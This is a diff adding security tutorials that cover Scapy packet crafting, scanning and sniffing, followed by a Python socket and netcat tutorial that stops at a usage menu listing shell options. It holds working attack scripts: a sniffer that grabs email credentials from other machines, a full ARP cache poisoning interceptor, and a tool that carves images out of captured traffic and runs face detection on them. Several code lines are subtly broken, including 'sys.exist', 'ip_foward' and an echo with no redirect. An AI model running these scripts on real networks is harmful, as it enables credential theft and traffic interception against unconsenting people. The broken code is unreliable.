+  options= {}
+###[ IP ]###
+     version= 4
+     ihl= None
+     tos= 0x0
+     len= None
+     id= 1
+     flags=
+     frag= 0
+     ttl= 64
+(...)
+```
+
+We could even go further, adding *layer 2 protocols* such as **Ethernet** or **IEEE 802.11**:
+
+```
+>>> Ether()/Dot1Q()/IP()
+<Ether  type=0x8100 |<Dot1Q  type=0x800 |<IP  |>>>
+>>> Dot11()/IP()
+<Dot11  |<IP  |>>
+```
+
+
+
+### Sending a Packet: Layer 2 vs. Layer 3
+
+Now that we have a (very simple) packet, we can send it over the wire.
+
+Scapy's method [send](http://www.secdev.org/projects/scapy/doc/usage.html#sending-packets)  is used to send a single packet to the IP destination. This is a *layer 3* operation, so  the route is based on the local table:
+
+```
+>>> send(ip/tcp)
+.
+Sent 1 packets.
+```
+
+
+In another hand, Scapy's method [sendp](http://www.secdev.org/projects/scapy/doc/usage.html#sending-packets) works in the *layer 2*:
+
+```
+>>> sendp(Ether()/ip/tcp)
+.
+Sent 1 packet.
+```
+
+
+### Sending an ICMP Packet
+
+For example, let us create an ICMP packet with some message:
+```python
+from scapy.all import *
+packet = IP(dst="192.168.1.114")/ICMP()/"Helloooo!"
+send(packet)
+packet.show()
+```
+
+Notice that the method **show()** displays details about the packet. Running the snippet above gives:
+```sh
+$ sudo python send_packet.py
+.
+Sent 1 packets.
+###[ IP ]###
+  version   = 4
+  ihl       = None
+  tos       = 0x0
+  len       = None
+  id        = 1
+  flags     =
+  frag      = 0
+  ttl       = 64
+  proto     = icmp
+  chksum    = None
+  src       = 192.168.1.114
+  dst       = 192.168.1.114
+  \options   \
+###[ ICMP ]###
+     type      = echo-request
+     code      = 0
+     chksum    = None
+     id        = 0x0
+     seq       = 0x0
+###[ Raw ]###
+        load      = 'Helloooo!'
+```
+
+
+This  is how this packet looks like in [Wireshark]():
+![cyber](http://i.imgur.com/jjuWHaZ.png)
+
+To send the same packet over again we can simply add the **loop=1** argument within the **send** method:
+
+```python
+send(packet, loop=1)
+```
+
+```sh
+$ sudo python send_packet.py
+.....................................................................................................................
+```
+
+Which looks like this in Wireshark:
+
+![cyber](http://i.imgur.com/lv89lc3.png)
+
+
+###  Sending & Receiving a Packet
+
+Scapy also has the ability to listen for responses to packets it sends (for example, ICMP ping requests).
+
+As in the send method, Scapy has two types of packet sending & receiving, based on the network layer.
+
+In the *layer 3*, the methods are [sr and sr1](http://www.secdev.org/projects/scapy/doc/usage.html#send-and-receive-packets-sr). The former returns the answered and unanswered packets, while the last only returns answered and sent packets.
+
+In the *layer 2*, the methods are [srp and srp1](http://www.secdev.org/projects/scapy/doc/usage.html#discussion). The former returns the answered and unanswered packets, while the last only returns answered and sent packets.
+
+A good way to remember their differences is to keep in mind that functions with a **1**  are designed to send the specified packet and **end after receiving 1 answer/response** (instead of **continuing to listen for answers/responses**).
+
+
+### Sending & Receiving a ICMP Packet
+
+For example, we can  build an IP packet carrying an ICMP header, which has a default type of echo request, and use the **sr()** function to transmit the packet and record any response:
+
+```python
+from scapy.all import *
+output=sr(IP(dst='google.com')/ICMP())
+print '\nOutput is:' + output
+result, unanswered=output
+print '\nResult is:' + result
+```
+
+Running the above snippet results in:
+```sh
+$ sudo python receive_packet.py
+Begin emission:
+.Finished to send 1 packets.
+*
+Received 2 packets, got 1 answers, remaining 0 packets
+
+Output is:
+(<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
+
+Result is:
+[(<IP  frag=0 proto=icmp dst=74.125.228.40 |<ICMP  |>>, <IP  version=4L ihl=5L tos=0x0 len=28 id=9762 flags= frag=0L ttl=53 proto=icmp chksum=0x6eff src=74.125.228.40 dst=192.168.1.114 options=[] |<ICMP  type=echo-reply code=0 chksum=0x0 id=0x0 seq=0x0 |>>)]
+```
+
+
+### Sending and Receiving in a Loop
+
+What if we want to send and listen for responses to multiple copies of the same packet? This can be done with the [srloop()](http://www.secdev.org/projects/scapy/doc/usage.html#send-and-receive-in-a-loop) method and a **count** value:
+
+```sh
+>>> srloop(IP(dst="www.goog")/ICMP(), count=3)
+RECV 1: IP / ICMP 74.125.228.51 > 192.168.1.114 echo-reply 0
+RECV 1: IP / ICMP 74.125.228.51 > 192.168.1.114 echo-reply 0
+RECV 1: IP / ICMP 74.125.228.51 > 192.168.1.114 echo-reply 0
+
+Sent 3 packets, received 3 packets. 100.0% hits.
+```
+
+----
+## A TCP Three-way Handshake
+
+Scapy allows you to craft SYN request and match the corresponding returned [SYN/ACK](http://en.wikipedia.org/wiki/Transmission_Control_Protocol) segment.
+
+This is how it works:
+
+1) we create an instance of an IP header:
+
+```
+ip = IP(src='192.168.1.114', dst='192.168.1.25')
+```
+
+2) we define a SYN instance of the TCP header:
+
+```
+SYN = TCP(sport=1024, dport=80, flags='S', seq=12345)
+```
+
+3) we send this and capture the server's response with  **sr1**:
+
+```
+packet = ip/SYN
+SYNACK = sr1(packet)
+```
+
+4) we extract the server's TCP sequence number from the server, with **SYNACK.seq**, and  increment it by 1:
+
+```
+ack = SYNACK.seq + 1
+```
+
+5) we create a new instance of the TCP header **ACK**, which now has the flag **A** (placing the acknowledgment  value for the server there) and  we send everything out:
+
+```
+ACK = TCP(sport=1024, dport=80, flags='A', seq=12346, ack=ack)
+send(ip/ACK)
+```
+
+6)  Finally, we create the segment with no TCP flags and payload and send it:
+
+```python
+PUSH = TCP(sport=1024, dport=80, flags='', seq=12346, ack=ack)
+data = "HELLO!"
+send(ip/PUSH/data)
+```
+
+
+However, running the snippet above will not work.
+
+The reason is that crafting TCP sessions with Scapy circumvents the native TCP/IP stack. Since the host is unaware that Scapy is sending packets, the native host would receive an unsolicited SYN/ACK that is not associated with any known open session/socket. This would result in the host resetting the connection when receiving the SYN/ACK.
+
+
+One solution is to use the host's firewall with [iptables](http://en.wikipedia.org/wiki/Iptables) to block the outbound resets. For example, to drop all outbound packets that are TCP and destined for IP 192.168.1.25 from 192.168.1.114 to destination port 80, examining the flag bits, we can run:
+
+```sh
+$ sudo iptables -A OUTPUT -p tcp -d 192.168.1.25 -s 192.168.1.114 --dport 80 --tcp-flags RST -j DROP
+```
+This does not prevent the source host from generating a reset each time it receives a packet from the session, however it does block it from silencing the resets.
+
+
+
+---
+##  Network Scanning and Sniffing
+
+Now that we know the Scapy basics, let's learn how to perform a **port scanning**.
+
+
+A very simple scanner can be crafted by sending a TCP/IP packet with the TCP flag set to SYM to every port in the range 1-1024 (this will take a couple of minutes to scan):
+
+```python
+res, unans = sr( IP(dst='192.168.1.114')/TCP(flags='S', dport=(1, 1024)))
+```
+
+We can check the output with:
+```python
+res.summary()
+```
+
+
+### The Sniff() Method
+
+In Scapy, packet sniffing can be done with the function [sniff()](http://www.secdev.org/projects/scapy/doc/usage.html#sniffing).  The **iface** parameter tells the sniffer which network interface to sniff on. The **count** parameter specifies how many packet we want to sniff (where a blank value is infinite):
+
+```python
+>>>> p = sniff(iface='eth1', timeout=10, count=5)
+>>>> print p.summary()
+```
+
+We can specify filters too:
+```
+>>>> p = sniff(filter="tcp and (port 25 or port 110)")
+```
+
+We can also use **sniff** with a  customized callback function to every packet that matches the filter, with the **prn** parameter:
+
+```python
+def packet_callback(packet):
+    print packet.show()
+
+sniff(filter='icmp', iface='eth1', prn=packet_callback, count=1)
+```
+
+To see the output in real time and dump the data into a file, we use the **lambda function** with **summary** and the **wrpcap** method:
+
+```python
+>>>> p = sniff(filter='icmp', iface='eth1', timeout=10, count=5,  prn = lambda x:x.summary())
+>>>> wrpcap('packets.pcap', p)
+```
+
+----
+## Changing a Routing Table
+
+To look to the routing table of our machine we can just print the Scapy's command **conf.route**:
+```
+Network         Netmask         Gateway         Iface           Output IP
+127.0.0.0       255.0.0.0       0.0.0.0         lo              127.0.0.1
+0.0.0.0         0.0.0.0         192.168.1.1     wlp1s0          192.168.1.114
+192.168.1.0     255.255.255.0   0.0.0.0         wlp1s0          192.168.1.114
+```
+
+Scapy allows us to include a specified route to this table, so any packet intended to some specified host would go through the specified gateway:
+
+```python
+>>>> conf.route.add(host='192.168.118.2', gw='192.168.1.114')
+Network         Netmask         Gateway         Iface           Output IP
+127.0.0.0       255.0.0.0       0.0.0.0         lo              127.0.0.1
+0.0.0.0         0.0.0.0         192.168.1.1     wlp1s0          192.168.1.114
+192.168.1.0     255.255.255.0   0.0.0.0         wlp1s0          192.168.1.114
+192.168.118.2   255.255.255.255 192.168.1.114   lo              192.168.1.114
+```
+
+Finally, to return to the original configuration, we use ```conf.route.resync()```.
+
+
+---
+
+## Other Useful Stuff
+
+### Dumping Binary data in Hex form
+
+A very useful function  is [hexdump()](https://pypi.python.org/pypi/hexdump), which can be used to display one or more packets using classic hexdump format:
+
+```
+from scapy.all import *
+str(IP())
+a = Ether()/IP(dst="www.google.com")/TCP()/"GET /index.html HTTP/1.1"
+hexdump(a)
+```
+
+Running this snippet gives:
+```sh
+$ sudo python example_hexdump.py
+WARNING: No route found for IPv6 destination :: (no default route?)
+0000   00 90 A9 A3 F1 46 A4 17  31 E9 B3 27 08 00 45 00   .....F..1..'..E.
+0010   00 40 00 01 00 00 40 06  8D 0F C0 A8 01 72 4A 7D   .@....@......rJ}
+0020   E1 10 00 14 00 50 00 00  00 00 00 00 00 00 50 02   .....P........P.
+0030   20 00 FA 15 00 00 47 45  54 20 2F 69 6E 64 65 78    .....GET /index
+0040   2E 68 74 6D 6C 20 48 54  54 50 2F 31 2E 31         .html HTTP/1.1
+```
+
+
+
+###  Fuzzing
+
+Scapy's [fuzz()](http://www.secdev.org/projects/scapy/doc/usage.html#fuzzing) method allows one to craft fuzzing templates (by changing default values by random ones) and send them in a loop.
+
+For example, we can have a standard IP layer with the UDP and NTP layers being fuzzed (but with the correct checksums). Below, the UDP destination port is overloaded by NTP and the NTP version is forced to be 4:
+
+```python
+>>> send(IP(dst="192.168.1.114")/fuzz(UDP()/NTP(version=4)), loop=1)
+................^C
+Sent 16 packets.
+```
+
+Here is a DNS fuzzer:
+
+```python
+>>> send(IP(dst='192.168.1.114')/UDP()/fuzz(DNS()), inter=1,loop=1)
+```
+
+
+
+### More Networking
+Scapy can perform simple networking functions such as  [traceroute](http://www.secdev.org/projects/scapy/doc/usage.html#tcp-traceroute-2) or [ping](http://www.secdev.org/projects/scapy/doc/usage.html#send-and-receive-in-a-loop):
+
+```python
+>>>> print scapy.traceroute('www.google.com')
+```
+
+Or be used to discover hosts on the local Ethernet, with [arping](http://www.secdev.org/projects/scapy/doc/usage.html#arp-ping):
+```python
+>>>> print arping('192.168.1.114')
+```
+
+Scapy has also commands for a network-based attack such as [arpcachepoison and srpflood](http://www.secdev.org/projects/scapy/doc/usage.html#tcp-traceroute).
+
+
+Additionally, we can use Scapy to re-create a packet that has been sniffed or received. The method **command()** returns a string of the commands necessary for this task.
+
+
+### Plotting
+If you have [GnuPlot](http://www.gnuplot.info/) installed, you can use the plot functionality with Scapy. It's pretty neat.
+
+
+We also can plot  graphs with the function **plot()** and **graph()**,  and we can generate 3D  plots with **trace3D()**.
+
+
+
+### Nice Third Party Modules
+
+[Fingerprinting](http://nmap.org/book/osdetect-fingerprint-format.html) can be made with the **nmap_fp()** module (which comes from [Nmap](http://nmap.org) prior to v4.23):
+
+```python
+>>> load_module("nmap")
+>>> nmap_fp("192.168.0.114")
+```
+[Passive OS fingerprinting](http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting) can be made with the **p0f** module:
+
+```python
+>>>> load_module('p0f')
+>>>> sniff(prn=prnp0f)
+```
+
+
+
+
+-----------
+## <a name="email"></a> Stealing Email Data
+
+The idea of this script is to build a sniffer to capture [SMTP](http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol), [POP3](http://en.wikipedia.org/wiki/Post_Office_Protocol), and [IMAP](http://en.wikipedia.org/wiki/Internet_Message_Access_Protocol) credentials. Once we couple this sniffer with some [MITM](http://en.wikipedia.org/wiki/Man-in-the-middle_attack) attack (such as **ARP poisoning), we can steal credentials from other machines in the network.
+
+With this in mind, we write a script that runs a sniffer on all the interfaces, with no filtering. The **sniff**'s **store=0** attribute ensures that the packets are not kept in memory (so we can leave it running):
+
+```python
+from scapy.all import *
+
+def packet_callback(packet):
+    # check to make sure it has a data payload
+    if packet[TCP].payload:
+        mail_packet = str(packet[TCP].payload)
+        if 'user' in mail_packet.lower() or 'pass' in mail_packet.lower():
+            print '[*] Server: %s' % packet[IP].dst
+            print '[*] %s' %packet[TCP].payload
+
+sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)
+```
+
+Running this script when loading load some mail client (such as [Thunderbird](https://www.mozilla.org/en-US/thunderbird/)) will allow us to see the login information if they are sent to the server as plain text.
+
+
+
+-----------
+## <a name="arp"></a> ARP Cache Poisoning
+
+I talked about [ARP cache poisoning using command line arpspoof](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html) in my guide about Wireshark. Here we are going to see how to implement a similar tool using Scapy.
+
+ARP cache poisoning works by convincing a target machine that we are the gateway and then convincing the gateway that all traffic should pass through our machine.
+
+Every machine in a network maintains an ARP cache that stores the recent MAC addresses that match to IP addresses on the local network. All we need to do is to poison this cache with controlled entries.
+
+The best way to test this is by using a Windows virtual machine (take a look in [this guide I wrote](http://bt3gl.github.io/setting-up-a-playing-environment-with-virtual-machines.html)).
+
+Before the attack, go to the Windows box, open the terminal (```cmd```) and check the IP and gateway IP address with```ipconfig```. Then check the associated  ARP cache entry MAC address with ```arp -a```. We are going to use the former information and we will see the ARP data being changed:
+
+![cyber](http://i.imgur.com/ME069uS.png)
+
+Following is our ARP poisoning script (based on [Black Hat Python](http://www.nostarch.com/blackhatpython)). The script does the following steps:
+
+1. Define constant values, set our interface card, and turn off the output.
+
+2. Resolve the gateway and target MAC address.
+    * The function **get_mac** use the **srp** method to emit an ARP request to an IP address to resolve the MAC address.
+
+3. Start the poison thread to perform the ARP poisoning attack. This will start the sniffer that captures the packets.
+    * The function **poison_target** builds ARP requests for poisoning both the target IP and the gateway (in a loop).
+
+4. Write out the captured packets and restore the network.
+    * The function **restore_target** sends out the ARP packets to the network broadcast address to reset the ARP caches of the gateway and target machines.
+
+
+```python
+from scapy.all import *
+from scapy.error import Scapy_Exception
+import os
+import sys
+import threading
+import signal
+
+INTERFACE       =   'wlp1s0'
+TARGET_IP       =   '192.168.1.107'
+GATEWAY_IP      =   '192.168.1.1'
+PACKET_COUNT    =   1000
+
+def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
+    print '[*] Restoring targets...'
+    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst='ff:ff:ff:ff:ff:ff', \
+        hwsrc=gateway_mac), count=5)
+    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", \
+        hwsrc=target_mac), count=5)
+    os.kill(os.getpid(), signal.SIGINT)
+
+def get_mac(ip_address):
+    response, unanswered = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address), \
+        timeout=2, retry=10)
+    for s, r in response:
+        return r[Ether].src
+    return None
+
+def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
+    poison_target = ARP()
+    poison_target.op = 2
+    poison_target.psrc = gateway_ip
+    poison_target.pdst = target_ip
+    poison_target.hwdst = target_mac
+    poison_gateway = ARP()
+    poison_gateway.op = 2
+    poison_gateway.psrc = target_ip
+    poison_gateway.pdst = gateway_ip
+    poison_gateway.hwdst = gateway_mac
+
+    print '[*] Beginning the ARP poison. [CTRL-C to stop]'
+    while 1:
+        try:
+            send(poison_target)
+            send(poison_gateway)
+            time.sleep(2)
+
+        except KeyboardInterrupt:
+            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
+
+        print '[*] ARP poison attack finished.'
+        return
+
+if __name__ == '__main__':
+    conf.iface = INTERFACE
+    conf.verb = 0
+    print "[*] Setting up %s" % INTERFACE
+    GATEWAY_MAC = get_mac(GATEWAY_IP)
+    if GATEWAY_MAC is None:
+        print "[-] Failed to get gateway MAC. Exiting."
+        sys.exit(0)
+    else:
+        print "[*] Gateway %s is at %s" %(GATEWAY_IP, GATEWAY_MAC)
+
+    TARGET_MAC = get_mac(TARGET_IP)
+    if TARGET_MAC is None:
+        print "[-] Failed to get target MAC. Exiting."
+        sys.exit(0)
+    else:
+        print "[*] Target %s is at %s" % (TARGET_IP, TARGET_MAC)
+
+    poison_thread = threading.Thread(target = poison_target, args=(GATEWAY_IP, GATEWAY_MAC, \
+        TARGET_IP, TARGET_MAC))
+    poison_thread.start()
+
+    try:
+        print '[*] Starting sniffer for %d packets' %PACKET_COUNT
+        bpf_filter = 'IP host ' + TARGET_IP
+        packets = sniff(count=PACKET_COUNT, iface=INTERFACE)
+        wrpcap('results.pcap', packets)
+        restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC)
+
+    except Scapy_Exception as msg:
+        print msg, "Hi there!!"
+
+    except KeyboardInterrupt:
+        restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC)
+        sys.exist()
+```
+
+To run it, we need to tell the local host machine (Kali Linux) to forward packets along with both the gateway and the target IP address:
+
+```sh
+$ echo 1 /proc/sys/net/ipv4/ip_foward
+```
+
+Running this in our attack machine (Kali Linux),
+
+```
+$ sudo python arp_cache_poisoning.py
+[*] Setting up wlp1s0
+[*] Gateway 192.168.1.1 is at 00:90:a9:a3:f1:46
+[*] Target 192.168.1.107 is at 00:25:9c:b3:87:c4
+[*] Beginning the ARP poison. [CTRL-C to stop]
+[*] Starting sniffer for 1000 packets
+[*] ARP poison attack finished.
+[*] Restoring targets...
+```
+we see the changes in the victim's machine (Windows):
+
+![cyber](http://i.imgur.com/RFdIz4H.png)
+
+Now open in Wireshark the PCAP file resulting from the script. BAM! The entire traffic from the victim is in your hand!
+
+
+
+
+
+
+
+
+
+
+------
+## <a name="pcap"></a> PCAP Processing to Find Images
+
+We have learned how to steal credentials from some email protocols, now let us extend this to all the traffic in the network!
+
+### Writing and Saving PCAP Files
+
+To save packets we can use the function **wrpacp**:
+```python
+wrpcap('packets.pcap', p)
+```
+
+To read packets we can use **rdpcap**:
+```python
+p = rdpcap('packets.pcap', p)
+p.show()
+```
+
+### Analyzing PCAP Files
+
+Based on one of the examples from [Black Hat Python]() we are going to analyze images from HTTP traffic dumped in a PCAP file. We can do this with the library [opencv](http://opencv.org/). We also need to install [numpy](http://www.numpy.org/) and [scipy](http://www.scipy.org/):
+
+```sh
+$ sudo pip install numpy
+$ sudo pip install scipy
+$ sudo yum install opencv-python
+```
+
+To try to detect images that contain human faces, first either create or download some PCAP files with these images. Some dump sources:
+[here](http://wiki.wireshark.org/SampleCaptures), [here](http://www.netresec.com/?page=PcapFiles), [here](http://www.pcapr.net/home), and [here](http://www.pcapr.net/browse?q=facebook+AND+png).
+
+The following script does the following:
+
+1) The function **http_assembler** takes a PCAP and separates each TCP session in a dictionary. Then it loops in these sections using the HTTP filter (which is the same as *Follow the TCP stream* in Wireshark). After the HTTP data is assembled, it parses the headers with the **get_http_headers** function and send to the **extract_image** function. If the image header are returned, it saves the image and try to detect faces with the function **face_detect**.
+
+```python
+def http_assembler(PCAP):
+    carved_images, faces_detected = 0, 0
+    p = rdpcap(PCAP)
+    sessions = p.sessions()
+    for session in sessions:
+        http_payload = ''
+        for packet in sessions[session]:
+            try:
+                if packet[TCP].dport == 80 or packet[TCP].sport == 80:
+                    http_payload += str(packet[TCP].payload)
+            except:
+                pass
+            headers = get_http_headers(http_payload)
+            if headers is None:
+                continue
+
+            # extract the raw image and return the image type and the binary body of
+            # the image itself
+            image, image_type = extract_image(headers, http_payload)
+            if image is not None and image_type is not None:
+                file_name = '%s-pic_carver_%d.%s' %(PCAP, carved_images, image_type)
+                fd = open('%s/%s' % (PIC_DIR, file_name), 'wb')
+                fd.write(image)
+                fd.close()
+                carved_images += 1
+                try:
+                    result = face_detect('%s/%s' %(PIC_DIR, file_name), file_name)
+                    if result is True:
+                        faces_detected += 1
+                except:
+                    pass
+    return carved_images, faces_detected
+```
+
+2. The **get_http_headers** function split the headers using regex to find **'Content-Type'**:
+
+```python
+def get_http_headers(http_payload):
+    try:
+        headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]
+        headers = dict(re.findall(r'(?P<name>.*?):(?P<value>.*?)\r\n', headers_raw))
+    except:
+        return None
+    if 'Content-Type' not in headers:
+        return None
+    return headers
+```
+
+3. The **extract_image** function determines whether an image is in a HTTP response by checking by the **'Content-Type'** string.
+
+```python
+def extract_image(headers, http_payload):
+    image,image_type = None, None
+    try:
+        if 'image' in headers['Content-Type']:
+            image_type = headers['Content-Type'].split('/')[1]
+            image = http_payload[http_payload.index('\r\n\r\n')+4:]
+            try:
+                if 'Content-Encoding' in headers.keys():
+                    if headers['Content-Encoding'] == 'gzip':
+                        image = zlib.decompress(image, 16+zlb.MAX_WBITS)
+                    elif headers['Content-Encoding'] == 'deflate':
+                        image = zlib.decompress(image)
+            except:
+                pass
+    except:
+        return None, None
+    return image, image_type
+```
+
+4. Finally, the **face_detect** function uses the **opencv** library to apply a classifier that is trained for detecting faces. It returns a rectangle coordinates to where the face is and saves the final image. Several types of image classifiers can be found [here](http://alereimondo.no-ip.org/OpenCV/34).
+
+```python
+def face_detect(path, file_name):
+    img = cv2.imread(path)
+    cascade = cv2.CascadeClassifier('/home/bytegirl/Desktop/haarcascade_upperbody.xml')
+    rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))
+    if len(rects) == 0:
+        return False
+    rects[:, 2:] += rects[:, :2]
+    for x1, y1, x2, y2 in rects:
+        cv2.retangle(img, (x1, y1), (x2, y2), (127, 255,0), 2)
+        cv2.imwrite('%s/%s-%s' % (FACES_DIR, PCAP, file_name), img)
+    return True
+```
+
+
+Running it results in an output like this:
+
+```sh
+Extracted: 165 images
+Detected: 16 faces
+```
+
+
+
+-----
+
+
+## Further References:
+
+- [Scapy Documentation](http://www.secdev.org/projects/scapy/doc/).
+- [Scapy Examples](http://www.secdev.org/projects/scapy/doc/usage.html).
+- [Wifitap: PoC for communication over WiFi networks using traffic injection](http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html).
+- [SurfJack: hijack HTTP connections to steal cookies](https://code.google.com/p/surfjack/)
+- [Black Hat Python](http://www.nostarch.com/blackhatpython).
+- [My Gray hat repo](https://github.com/bt3gl/My-Gray-Hacker-Resources).

Network_and_802.11/socket_scripting.md

@@ -0,0 +1,732 @@
+#Python's  Socket Module
+
+Python's [socket](https://docs.python.org/2/library/socket.html) module contains all the tools to write [TCP](http://en.wikipedia.org/wiki/Transmission_Control_Protocol)/[UDP](http://en.wikipedia.org/wiki/User_Datagram_Protocol) clients and servers, including [raw sockets](http://en.wikipedia.org/wiki/Raw_socket). 
+
+
+## A TCP Client
+
+Let's start from the beginning. Whenever you want to create a TCP connection with the **socket** module, you do two things: create a socket object and then connect to a host in some port:
+
+```python
+client = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
+client.connect(( HOST, PORT ))
+```
+
+The **AF_INET** parameter is used to define the standard IPv4 address (other options are *AF_UNIX* and *AF_INET6*). The **SOCK_STREAM** parameters indicate it is a **TCP** connection (other options are *SOCK_DGRAM*, *SOCK_RAW*, *SOCK_RDM*, *SOCK_SEQPACKET*).
+
+All right, so the next thing you want to do is to send and receive data using socket's **send** and **recv** methods. And this should be good enough for a first script! Let's put everything together to create our TCP client:
+
+
+```python
+import socket
+
+HOST = 'www.google.com'
+PORT = 80
+DATA = 'GET / HTTP/1.1\r\nHost: google.com\r\n\r\n'
+
+def tcp_client():
+ client = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
+ client.connect(( HOST, PORT ))
+ client.send(DATA)
+ response = client.recv(4096)
+ print response
+
+if __name__ == '__main__':
+ tcp_client()
+```
+
+The simplicity of this script relies on making the following assumptions about the sockets:
+
+* our *connection will always succeed*,
+* the *server is always waiting for us to send data first* (as opposed to servers that expect to send data and then wait for response), and
+* the server will always send us data back in a *short time*.
+
+Let's run this script (notice that we get *Moved Permanently* because Google issues HTTPS connections):
+
+```bash
+$ python tcp_client.py
+HTTP/1.1 301 Moved Permanently
+Location: http://www.google.com/
+Content-Type: text/html; charset=UTF-8
+Date: Mon, 15 Dec 2014 16:52:46 GMT
+Expires: Wed, 14 Jan 2015 16:52:46 GMT
+Cache-Control: public, max-age=2592000
+Server: gws
+Content-Length: 219
+X-XSS-Protection: 1; mode=block
+X-Frame-Options: SAMEORIGIN
+Alternate-Protocol: 80:quic,p=0.02
+
+<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
+<TITLE>301 Moved</TITLE></HEAD><BODY>
+<H1>301 Moved</H1>
+The document has moved
+<A HREF="http://www.google.com/">here</A>.
+</BODY></HTML>
+```
+
+Simple like that.
+
+----------
+## A TCP Server
+
+Let's move on and write a *multi-threaded* TCP server. For this, we will use Python's [threading](https://docs.python.org/2/library/threading.html) module.
+
+First, we define the IP address and port that we want the server to listen on. We then define a **handle_client** function that starts a thread to handle client connections. The function takes the client socket and gets data from the client, sending an **ACK** message.
+
+The main function for our server, **tcp_server**, creates a server socket and starts listening on the port and IP (we set the maximum backlog of connections to 5). Then it starts a loop waiting for when a client connects. When this happens, it receives the client socket (the client variables go to the **addr** variable).
+
+At this point, the program creates a thread object for the function **handle_client** which we mentioned above:
+
+```python
+import socket
+import threading
+
+BIND_IP = '0.0.0.0'
+BIND_PORT = 9090
+
+def handle_client(client_socket):
+ request = client_socket.recv(1024)
+ print "[*] Received: " + request
+ client_socket.send('ACK')
+ client_socket.close()
+
+def tcp_server():
+ server = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
+ server.bind(( BIND_IP, BIND_PORT))
+ server.listen(5)
+ print"[*] Listening on %s:%d" % (BIND_IP, BIND_PORT)
+
+ while 1:
+ client, addr = server.accept()
+ print "[*] Accepted connection from: %s:%d" %(addr[0], addr[1])
+ client_handler = threading.Thread(target=handle_client, args=(client,))
+ client_handler.start()
+
+if __name__ == '__main__':
+ tcp_server()
+```
+
+We can run this script in one terminal and the client script (like the one we saw before) in a second terminal. Running the server:
+```bash
+$ python tcp_server.py
+[*] Listening on 0.0.0.0:9090
+```
+
+Running the client script (we changed it to connect at 127.0.0.1:9090):
+```bash
+$ python tcp_client.py
+ACK
+```
+
+Now, back to the server terminal, we successfully see the established connection:
+
+```bash
+$ python tcp_server.py
+[*] Listening on 0.0.0.0:9090
+[*] Accepted connection from: 127.0.0.1:44864
+[*] Received: GET / HTTP/1.1
+```
+
+Awesome!
+
+
+
+----------
+## A UDP Client
+
+UDP is an alternative protocol to TCP. Like TCP, it is used for packet transfer from one host to another. Unlike TCP, it is a *connectionless* and *non-stream oriented protocol*. This means that a UDP server receives incoming packets from any host without establishing a reliable pipe type of connection.
+
+We can make a few changes in the previous script to create a UDP client connection:
+
+* we use **SOCK_DGRAM** instead of **SOCK_STREAM**,
+* because UDP is a connectionless protocol, we don't need to establish a connection beforehand, and
+* we use **sendto** and **recvfrom** instead of **send** and **recv**.
+
+```python
+import socket
+
+HOST = '127.0.0.1'
+PORT = 9000
+DATA = 'AAAAAAAAAA'
+
+def udp_client():
+ client = socket.socket( socket.AF_INET, socket.SOCK_DGRAM)
+ client.sendto(DATA, ( HOST, PORT ))
+ data, addr = client.recvfrom(4096)
+ print data, adr
+
+if __name__ == '__main__':
+ udp_client()
+```
+
+-----
+
+## A UDP Server
+
+Below is an example of a very simple UDP server. Notice that there are no **listen** or **accept**:
+
+
+```python
+import socket
+
+BIND_IP = '0.0.0.0'
+BIND_PORT = 9000
+
+def udp_server():
+ server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ server.bind(( BIND_IP, BIND_PORT))
+ print "Waiting on port: " + str(BIND_PORT)
+
+ while 1:
+ data, addr = server.recvfrom(1024)
+ print data
+
+if __name__ == '__main__':
+ udp_server()
+```
+
+You can test it by running the server in one terminal and the client in another. It works and it's fun!
+
+---------
+## A Very Simple Netcat Client
+
+Sometimes when you are penetrating a system, you wish you have [netcat](http://netcat.sourceforge.net/), which might be not installed. However, if you have Python, you can create a netcat network client and server.
+
+The following script is the simplest netcat client setup one can have, extended from our TCP client script to support a loop.
+
+In addition, now we use the **sendall** method. Unlike **send**, it will continue to send data until either all data has been sent or an error occurs (None is returned on success).
+
+We also use **close** to release the resource. This does not necessarily close the connection immediately, so we use **shutdown** to close the connection in a timely fashion:
+
+
+```python
+import socket
+
+PORT = 12345
+HOSTNAME = '54.209.5.48'
+
+def netcat(text_to_send):
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.connect(( HOSTNAME, PORT ))
+ s.sendall(text_to_send)
+ s.shutdown(socket.SHUT_WR)
+
+ rec_data = []
+ while 1:
+ data = s.recv(1024)
+ if not data:
+ break
+ rec_data.append(data)
+
+ s.close()
+ return rec_data
+
+if __name__ == '__main__':
+ text_to_send = ''
+ text_recved = netcat( text_to_send)
+ print text_recved[1]
+```
+
+
+
+
+---------
+## A Complete Netcat Client and Server
+
+
+Let's extend our previous example to write a full program for a netcat server and client.
+
+For this task we are going to use two special Python modules: [getopt](https://docs.python.org/2/library/getopt.html), which is a parser for command-line options (familiar to users of the C getopt()), and [subprocess](https://docs.python.org/2/library/subprocess.html), which allows you to spawn new processes.
+
+
+### The Usage Menu
+The first function we write is **usage**, with the options we want for our tool:
+
+```python
+def usage():
+ print "Usage: netcat_awesome.py -t <HOST> -p <PORT>"
+ print " -l --listen listen on HOST:PORT"
+ print " -e --execute=file execute the given file"
+ print " -c --command initialize a command shell"
+ print " -u --upload=destination upload file and write to destination"
+ print
+ print "Examples:"
